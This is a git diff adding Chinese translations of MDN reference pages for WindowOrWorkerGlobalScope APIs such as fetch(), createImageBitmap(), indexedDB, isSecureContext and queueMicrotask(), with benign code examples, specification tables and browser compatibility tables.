FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(42)}}
+ {{CompatGeckoMobile(52)}}[1]
{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] caches 现在被定义在 {{domxref("WindowOrWorkerGlobalScope")}} 中的mixin里.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/createimagebitmap/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/createimagebitmap/index.html new file mode 100644 index 0000000000..72e7b8433e --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/createimagebitmap/index.html @@ -0,0 +1,207 @@ +--- +title: self.createImageBitmap() +slug: Web/API/WindowOrWorkerGlobalScope/createImageBitmap +translation_of: Web/API/WindowOrWorkerGlobalScope/createImageBitmap +--- +
{{APIRef("Canvas API")}}
+ +

createImageBitmap 方法存在 windows 和 workers 中. 它接受各种不同的图像来源, 并返回一个{{domxref("Promise")}}, resolve为{{domxref("ImageBitmap")}}. 可选地参数,图像被剪裁成自(sx,sy)且宽度为sw,高度为sh的像素的矩形。

+ +

Syntax

+ +
createImageBitmap(image[, options]).then(function(response) { ... });
+createImageBitmap(image, sx, sy, sw, sh[, options]).then(function(response) { ... });
+
+ +

Parameters

+ +
+
image
+
一个图像源, 可以是一个 {{HTMLElement("img")}}, SVG {{SVGElement("image")}}, {{HTMLElement("video")}}, {{HTMLElement("canvas")}}, {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("Blob")}}, {{domxref("ImageData")}}, {{domxref("ImageBitmap")}}, 或 {{domxref("OffscreenCanvas")}} 对象.
+
sx
+
裁剪点x坐标.
+
sy
+
裁剪点y坐标.
+
sw
+
裁剪宽度,值可为负数.
+
sh
+
裁剪高度,值可为负数.
+
options {{optional_inline}}
+
为其设置选项的对象。可用的选项是: +
    +
  • imageOrientation: 指示图像是按原样呈现还是垂直翻转.  none (默认不翻转) 或 flipY.
  • +
  • premultiplyAlpha: 指示位图颜色通道由alpha通道预乘. 选择其一:none, premultiply, 或 default (默认).
  • +
  • colorSpaceConversion: 指示图像是否使用色彩空间转换进行解码. none 或 default (默认). The value default indicates that implementation-specific behavior is used.
  • +
  • resizeWidth: 指示新宽度的长整数。
  • +
  • resizeHeight: 指示新高度的长整数。
  • +
  • resizeQuality: 指定图像缩放算法. 选择其一pixelated, low (默认), medium, 或 high.
  • +
+
+
+ +

Return value

+ +

返回一个解决ImageBitmap的{{domxref("Promise")}} ,当Promise成功时resolves接收一个包含所得到的矩形的位图数据{{domxref("ImageBitmap")}}。

+ +

Example

+ +
var canvas = document.getElementById('myCanvas'),
+ctx = canvas.getContext('2d'),
+image = new Image();
+
+image.onload = function() {
+  Promise.all([
+    createImageBitmap(this, 0, 0, 32, 32),
+    createImageBitmap(this, 32, 0, 32, 32)
+  ]).then(function(sprites) {
+    ctx.drawImage(sprites[0], 0, 0);
+    ctx.drawImage(sprites[1], 32, 32);
+  });
+}
+
+image.src = 'sprites.png';
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "webappapis.html#dom-createimagebitmap", "createImageBitmap")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome(50)}} +

{{CompatGeckoDesktop(42)}}
+ {{CompatGeckoDesktop(52)}}[1]

+
{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
options parameter{{CompatChrome(52)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}39{{CompatNo}}
resizeWidth, resizeHeight, and resizeQuality{{CompatChrome(54)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
SVGImageElement as source image{{CompatChrome(59)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(50)}}{{CompatChrome(50)}} +

{{CompatGeckomobile(42)}}
+ {{CompatGeckoMobile(52)}}[1]

+
{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
options parameter{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatUnknown}}{{CompatUnknown}}39{{CompatUnknown}}
resizeWidth, resizeHeight, and resizeQuality{{CompatChrome(54)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}} 
SVGImageElement as source image{{CompatChrome(59)}}{{CompatChrome(59)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] createImageBitmap() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

+ +

See also

+ + + +

+ +

diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/crossoriginisolated/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/crossoriginisolated/index.html new file mode 100644 index 0000000000..ad19e53c2e --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/crossoriginisolated/index.html @@ -0,0 +1,58 @@ +--- +title: WindowOrWorkerGlobalScope.crossOriginIsolated +slug: Web/API/WindowOrWorkerGlobalScope/crossOriginIsolated +translation_of: Web/API/WindowOrWorkerGlobalScope/crossOriginIsolated +--- +
{{APIRef()}}{{SeeCompatTable}}
+ +

crossOriginIsolated 是 {{domxref("WindowOrWorkerGlobalScope")}} 的一个只读属性,返回一个布尔值,该值指示是否可以通过{{domxref("Window.postMessage()")}}调用发送 {{jsxref("SharedArrayBuffer")}}。

+ +

该值取决于响应中存在的{{httpheader("Cross-Origin-Opener-Policy")}} 和{{httpheader("Cross-Origin-Embedder-Policy")}} 头。

+ +

语法

+ +
var myCrossOriginIsolated = self.crossOriginIsolated; // 或直接 crossOriginIsolated
+
+ +

类型

+ +

布尔类型

+ +

示例

+ +
if(crossOriginIsolated) {
+  // post SharedArrayBuffer
+} else {
+  // Do something else
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG")}}Not yet merged into the spec
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.crossOriginIsolated")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/fetch/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/fetch/index.html new file mode 100644 index 0000000000..3ebf7d8fdb --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/fetch/index.html @@ -0,0 +1,173 @@ +--- +title: WorkerOrGlobalScope.fetch() +slug: Web/API/WindowOrWorkerGlobalScope/fetch +tags: + - API + - Experimental + - Fetch + - FetchAPI + - GlobalFetch + - request +translation_of: Web/API/WindowOrWorkerGlobalScope/fetch +--- +

{{APIRef("Fetch")}}

+ +

位于 {{domxref("WorkerOrGlobalScope")}} 这一个 mixin 中的 fetch() 方法用于发起获取资源的请求。它返回一个 promise,这个 promise 会在请求响应后被 resolve,并传回 {{domxref("Response")}} 对象。

+ +

{{domxref("Window")}} 和 {{domxref("WorkerGlobalScope")}} 都实现了 WorkerOrGlobalScope。 ——这意味着基本在任何场景下只要你想获取资源,都可以使用 位于 WorkerOrGlobalScope 中的 fetch() 方法。

+ +

当遇到网络错误时,{{domxref("WorkerOrGlobalScope.fetch","fetch()")}} 返回的 promise 会被 reject,并传回 {{jsxref("TypeError")}},虽然这也可能因为权限或其它问题导致。成功的 fetch() 检查不仅要包括 promise 被 resolve,还要包括 {{domxref("Response.ok")}} 属性为 true。HTTP 404 状态并不被认为是网络错误。

+ +

fetch() 方法由 Content Security Policy 的 connect-src指令控制,而不是它请求的资源。

+ +
+

注意:{{domxref("WorkerOrGlobalScope.fetch","fetch()")}} 方法的参数与 {{domxref("Request.Request","Request()")}} 构造器是一样的。

+
+ +

语法

+ +
Promise<Response> fetch(input[, init]);
+
+ +

参数

+ +
+
?input
+
定义要获取的资源。这可能是: +
    +
  • 一个 {{domxref("USVString")}} 字符串,包含要获取资源的 URL。一些浏览器会接受 blob: 和 data: 作为 schemes.
  • +
  • 一个 {{domxref("Request")}} 对象。
  • +
+
+
init {{optional_inline}}
+
一个配置项对象,包括所有对请求的设置。可选的参数有: +
    +
  • method: 请求使用的方法,如 GETPOST。
  • +
  • headers: 请求的头信息,形式为 {{domxref("Headers")}} 的对象或包含 {{domxref("ByteString")}} 值的对象字面量。
  • +
  • body: 请求的 body 信息:可能是一个 {{domxref("Blob")}}、{{domxref("BufferSource")}}、{{domxref("FormData")}}、{{domxref("URLSearchParams")}} 或者 {{domxref("USVString")}} 对象。注意 GET 或 HEAD 方法的请求不能包含 body 信息。
  • +
  • mode: 请求的模式,如 cors、 no-cors 或者 same-origin。
  • +
  • credentials: 请求的 credentials,如 omitsame-origin 或者 include。为了在当前域名内自动发送 cookie , 必须提供这个选项, 从 Chrome 50 开始, 这个属性也可以接受 {{domxref("FederatedCredential")}} 实例或是一个 {{domxref("PasswordCredential")}} 实例。
  • +
  • cache:  请求的 cache 模式: default、 no-storereload 、 no-cache 、 force-cache 或者 only-if-cached
  • +
  • redirect: 可用的 redirect 模式: follow (自动重定向), error (如果产生重定向将自动终止并且抛出一个错误), 或者 manual (手动处理重定向). 在Chrome中默认使用follow(Chrome 47之前的默认值是manual)。
  • +
  • referrer: 一个 {{domxref("USVString")}} 可以是 no-referrerclient或一个 URL。默认是 client。
  • +
  • referrerPolicy: 指定了HTTP头部referer字段的值。可能为以下值之一: no-referrer、 no-referrer-when-downgrade、 origin、 origin-when-cross-origin、 unsafe-url 。
  • +
  • integrity: 包括请求的  subresource integrity 值 ( 例如: sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=)。
  • +
+
+
+ +

返回值

+ +

一个 {{jsxref("Promise")}},resolve 时回传 {{domxref("Response")}} 对象。

+ +

例外

+ + + + + + + + + + + + + + + + + + +
类型描述
AbortError请求被{{domxref("AbortController.abort()")}}终止。
TypeErrorFirefox 43开始,如果fetch()接收到含有用户名和密码的URL(例如http://user:password@example.com),它将会抛出一个TypeError
+ +

示例

+ +

Fetch Request 示例 (参见 Fetch Request live) 中,我们使用对应的构造器创建了一个新的 {{domxref("Request")}} 对象,然后调用 fetch() 方法获取资源。因为我们是在请求一个图片,为了解析正常,我们对响应执行 {{domxref("Body.blob")}} 来设置相应的 MIME 类型。然后创建一个 Object URL,并在 {{htmlelement("img")}} 元素中把它显示出来。

+ +
var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});
+ +

在 Fetch with init then Request 示例 (参见 Fetch Request init live) 中,我们做同样的操作,除了在调用 fetch() 时传入一个 init 对象:

+ +
var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest,myInit).then(function(response) {
+  ...
+});
+ +

你也可以传入同样的 init 对象到 Request 构造器,来实现同样的效果,如:

+ +
var myRequest = new Request('flowers.jpg',myInit);
+
+ +

init 对象中的 headers 也可以是一个对象字面量:

+ +
var myInit = { method: 'GET',
+               headers: {
+                   'Content-Type': 'image/jpeg'
+               },
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#fetch-method','fetch()')}}{{Spec2('Fetch')}}Defined in a WindowOrWorkerGlobalScope partial in the newest spec.
{{SpecName('Fetch','#dom-global-fetch','fetch()')}}{{Spec2('Fetch')}}Initial definition
{{SpecName('Credential Management')}}{{Spec2('Credential Management')}}Adds {{domxref("FederatedCredential")}} or {{domxref("PasswordCredential")}} instance as a possible value for init.credentials.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/index.html new file mode 100644 index 0000000000..a0b3d68d14 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/index.html @@ -0,0 +1,182 @@ +--- +title: WindowOrWorkerGlobalScope +slug: Web/API/WindowOrWorkerGlobalScope +tags: + - API + - DOM + - DOM API + - Service Worker + - TopicStub + - Window + - WindowOrWorkerGlobalScope + - Worker + - WorkerGlobalScope +translation_of: Web/API/WindowOrWorkerGlobalScope +--- +
{{ApiRef()}}
+ +

WindowOrWorkerGlobalScope mixin 了对 {{domxref("Window")}} 和{{domxref("WorkerGlobalScope")}} 接口的公共特性的描述。显然除了下文即将列出的之外,这些接口中的每一个,都可以增加更多的特性。

+ +
+

Note: WindowOrWorkerGlobalScope 是一个 mixin 而并非 interface。不能创建一个类型为 WindowOrWorkerGlobalScope 的对象。

+
+ +

属性

+ +

以下属性由 {{domxref("WindowOrWorkerGlobalScope")}} mixin 定义,同时被 {{domxref("Window")}} 和 {{domxref("WorkerGlobalScope")}} 实现。

+ +
+
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
返回与当前上下文相关联的 {{domxref("CacheStorage")}} 对象。这个对象提供了一些功能,例如存储可供离线使用的 asstes,以及对 requests 生成自定义的 responses 。
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
提供一种机制,以供应用可以异步访问 indexed databases;返回 {{domxref("IDBFactory")}} 对象。
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
返回一个 boolean 值, 表示当前上下文是否安全:安全返回 true,否则返回 false 。
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
返回全局对象的 origin,序列化为 string 。
+
+
+ +

方法

+ +

以下方法由 {{domxref("WindowOrWorkerGlobalScope")}} mixin 定义,同时被 {{domxref("Window")}} 和 {{domxref("WorkerGlobalScope")}} 实现。

+ +
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
对 base-64加密的数据字符串进行解码。
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
从二进制数据中创建 base-64 编码的 ASCII 字符串。
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
取消对 {{domxref("WindowOrWorkerGlobalScope.setInterval()")}} 的重复执行。
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
取消对 {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}} 的延迟执行。
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
接受多个不同的图像源, 返回一个 {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}} 。可选: 指定 (sx, sy) with width sw, and height sh ,将源裁切成矩形。
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
开始从网络中 fetch 一个资源的进程。
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
每过一个指定的毫秒时间后,执行一次指定函数。
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
过了一个指定的毫秒时间后,执行一次指定函数。
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', 'WindowOrWorkerGlobalScope mixin')}}{{Spec2('HTML WHATWG')}}This is where the main mixin is defined.
{{SpecName('Fetch','#fetch-method','fetch()')}}{{Spec2('Fetch')}}Definition of the fetch() method.
{{SpecName('Service Workers', '#self-caches', 'caches')}}{{Spec2('Service Workers')}}Definition of the caches property.
{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}{{Spec2('IndexedDB 2')}}Definition of the indexedDB property.
{{SpecName('Secure Contexts', 'webappapis.html#dom-origin', 'isSecureContext')}}{{Spec2('Secure Contexts')}}Definition of the isSecureContext property.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeEdgeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop(52)}}54{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
origin{{CompatGeckoDesktop(54)}}59{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}54
origin{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(54)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}59
+ +

See also

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/indexeddb/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/indexeddb/index.html new file mode 100644 index 0000000000..1c1f17f52c --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/indexeddb/index.html @@ -0,0 +1,175 @@ +--- +title: WindowOrWorkerGlobalScope.indexedDB +slug: Web/API/WindowOrWorkerGlobalScope/indexedDB +tags: + - API + - Database + - IndexedDB + - Reference + - Storage + - WindowOrWorkerGlobalScope + - 参考 + - 属性 +translation_of: Web/API/WindowOrWorkerGlobalScope/indexedDB +--- +

{{ APIRef() }}

+ +

indexedDB 是 {{domxref("WindowOrWorkerGlobalScope")}}的一个只读属性,它集成了为应用程序提供异步访问索引数据库的功能的机制。.

+ +

语法

+ +
var IDBFactory = self.indexedDB;
+ +
+

+
+ +

一个 {{domxref("IDBFactory")}} 对象.

+ +

示例

+ +
var db;
+function openDB() {
+ var DBOpenRequest = window.indexedDB.open('toDoList');
+ DBOpenRequest.onsuccess = function(e) {
+   db = DBOpenRequest.result;
+ }
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}{{Spec2('IndexedDB 2')}}Defined in a WindowOrWorkerGlobalScope partial in the newest spec.
{{SpecName('IndexedDB', '#widl-IDBEnvironment-indexedDB', 'indexedDB')}}{{Spec2('IndexedDB')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
{{CompatVersionUnknown}}10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
+ {{CompatGeckoDesktop("52.0")}}[1]
10, partial157.1
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}
+ {{CompatGeckoMobile("52.0")}}[1]
1.0.110228
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(45)}}{{CompatUnknown}}
+
+ +

[1] indexedDB 定义在 {{domxref("WindowOrWorkerGlobalScope")}} mixin(一种实现多继承的方法)上.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/issecurecontext/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/issecurecontext/index.html new file mode 100644 index 0000000000..d9f72b13a5 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/issecurecontext/index.html @@ -0,0 +1,100 @@ +--- +title: WindowOrWorkerGlobalScope.isSecureContext +slug: Web/API/WindowOrWorkerGlobalScope/isSecureContext +tags: + - API + - Property + - Reference + - Window + - WindowOrWorkerGlobalContext + - Workers + - isSecureContext +translation_of: Web/API/WindowOrWorkerGlobalScope/isSecureContext +--- +

{{APIRef()}}{{SeeCompatTable}}

+ +

isSecureContext 是 {{domxref("WindowOrWorkerGlobalScope")}} 的一个只读属性,返回一个布尔值,标识当前上下文是否安全,安全(true)或不安全(false)。

+ +

语法

+ +
var isItSecure = self.isSecureContext; // 或者直接使用 isSecureContext
+
+ +

类型

+ +

 {{domxref("Boolean")}}.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Secure Contexts', 'webappapis.html#dom-origin', 'WindowOrWorkerGlobalScope.isSecureContext')}}{{Spec2('Secure Contexts')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(55)}}{{CompatGeckoDesktop(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(55)}}{{CompatChrome(55)}}{{CompatGeckoMobile(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/origin/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/origin/index.html new file mode 100644 index 0000000000..eac425fbd9 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/origin/index.html @@ -0,0 +1,98 @@ +--- +title: WindowOrWorkerGlobalScope.origin +slug: Web/API/WindowOrWorkerGlobalScope/origin +tags: + - global scope + - origin + - serialized +translation_of: Web/API/WindowOrWorkerGlobalScope/origin +--- +

{{APIRef()}}{{SeeCompatTable}}{{domxref("WindowOrWorkerGlobalScope")}} 接口的 origin 只读属性返回全局范围的 origin, 序列化为一个字符串。

+ +

Syntax

+ +
let myOrigin = self.origin; // or just origin
+
+ +

Value

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +

Executed from inside a worker script, the following snippet will log the worker's global scope's origin to the console each time it receives a message

+ +
onmessage = function() {
+  console.log(self.origin);
+};
+ +

If the origin is not a scheme/host/port tuple (say you are trying to run it locally, i.e. via file:// URL), origin will return the string "null".

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-origin', 'WindowOrWorkerGlobalScope.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(59)}}{{CompatGeckoDesktop(54)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(59)}}{{CompatChrome(59)}}{{CompatGeckoMobile(54)}} {{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/queuemicrotask/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/queuemicrotask/index.html new file mode 100644 index 0000000000..271773fb93 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/queuemicrotask/index.html @@ -0,0 +1,112 @@ +--- +title: WindowOrWorkerGlobalScope.queueMicrotask() +slug: Web/API/WindowOrWorkerGlobalScope/queueMicrotask +tags: + - API + - JavaScript + - Method + - Microtask + - 参考 + - 同步 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/queueMicrotask +--- +
{{APIRef("HTML DOM")}}
+ +
{{domxref("Window")}} 或 {{domxref("Worker")}} 接口的 queueMicrotask() 方法,queues a microtask to be executed at a safe time prior to control returning to the browser's event loop.microtask 是一个简短的函数,它将在当前任务(task)完成其工作之后运行,并且在执行上下文的控制返回到浏览器的事件循环之前,没有其他代码等待运行。The microtask is a short function which will run after the current task has completed its work and when there is no other code waiting to be run before control of the execution context is returned to the browser's event loop.
+ +
+ +

This lets your code run without interfering with any other, potentially higher priority, code that is pending, but before the browser regains control over the execution context, potentially depending on work you need to complete. You can learn more about how to use microtasks and why you might choose to do so in our microtask guide.

+ +

The importance of microtasks comes in its ability to perform tasks asynchronously but in a specific order. See Using microtasks in JavaScript with queueMicrotask() for more details.

+ +

Microtasks are especially useful for libraries and frameworks that need to perform final cleanup or other just-before-rendering tasks.

+ +

queueMicrotask() 处于 {{domxref("WindowOrWorkerGlobalScope")}} mixin 之下。

+ +

语法

+ +
scope.queueMicrotask(function);
+
+ +

参数

+ +
+
function
+
A {{jsxref("function")}} to be executed when the browser engine determines it is safe to call your code.微任务(microtask)的执行顺序在所有挂起的任务(pending tasks)完成之后,在对浏览器的事件循环产生控制(yielding control to the browser's event loop)之前。
+
+ +

返回值

+ +

undefined

+ +

示例

+ +
self.queueMicrotask(() => {
+  // 函数的内容
+})
+ +

来自 queueMicrotask 的规范文档:

+ +
MyElement.prototype.loadData = function (url) {
+  if (this._cache[url]) {
+    queueMicrotask(() => {
+      this._setData(this._cache[url]);
+      this.dispatchEvent(new Event("load"));
+    });
+  } else {
+    fetch(url).then(res => res.arrayBuffer()).then(data => {
+      this._cache[url] = data;
+      this._setData(data);
+      this.dispatchEvent(new Event("load"));
+    });
+  }
+};
+ +

polyfill

+ +

下面的代码是一份 queueMicrotask() 的 polyfill。它通过使用立即 resolve 的 promise 创建一个微任务(microtask),如果无法创建 promise,则回落(fallback)到使用setTimeout()

+ +
if (typeof window.queueMicrotask !== "function") {
+  window.queueMicrotask = function (callback) {
+    Promise.resolve()
+      .then(callback)
+      .catch(e => setTimeout(() => { throw e; }));
+  };
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "timers-and-user-prompts.html#microtask-queuing", "self.queueMicrotask()")}}{{Spec2("HTML WHATWG")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.queueMicrotask")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windowtimers/cleartimeout/index.html b/files/zh-cn/web/api/windowtimers/cleartimeout/index.html new file mode 100644 index 0000000000..4b20c970d7 --- /dev/null +++ b/files/zh-cn/web/api/windowtimers/cleartimeout/index.html @@ -0,0 +1,150 @@ +--- +title: WindowOrWorkerGlobalScope.clearTimeout() +slug: Web/API/WindowTimers/clearTimeout +tags: + - API + - WindowOrWorkerGlobalScope + - clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

+ +

语法

+ +
scope.clearTimeout(timeoutID)
+ + + +

Parameters

+ +
+
timeoutID
+
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
+
+ +

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

+ +

示例

+ +

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

+ +
var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    delete this.timeoutID;
+  },
+
+  setup: function() {
+    this.cancel();
+    var self = this;
+    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+  },
+
+  cancel: function() {
+    if(typeof this.timeoutID == "number") {
+      window.clearTimeout(this.timeoutID);
+      delete this.timeoutID;
+    }
+  }
+};
+window.onclick = function() { alarm.setup() };
+ +

注意

+ +

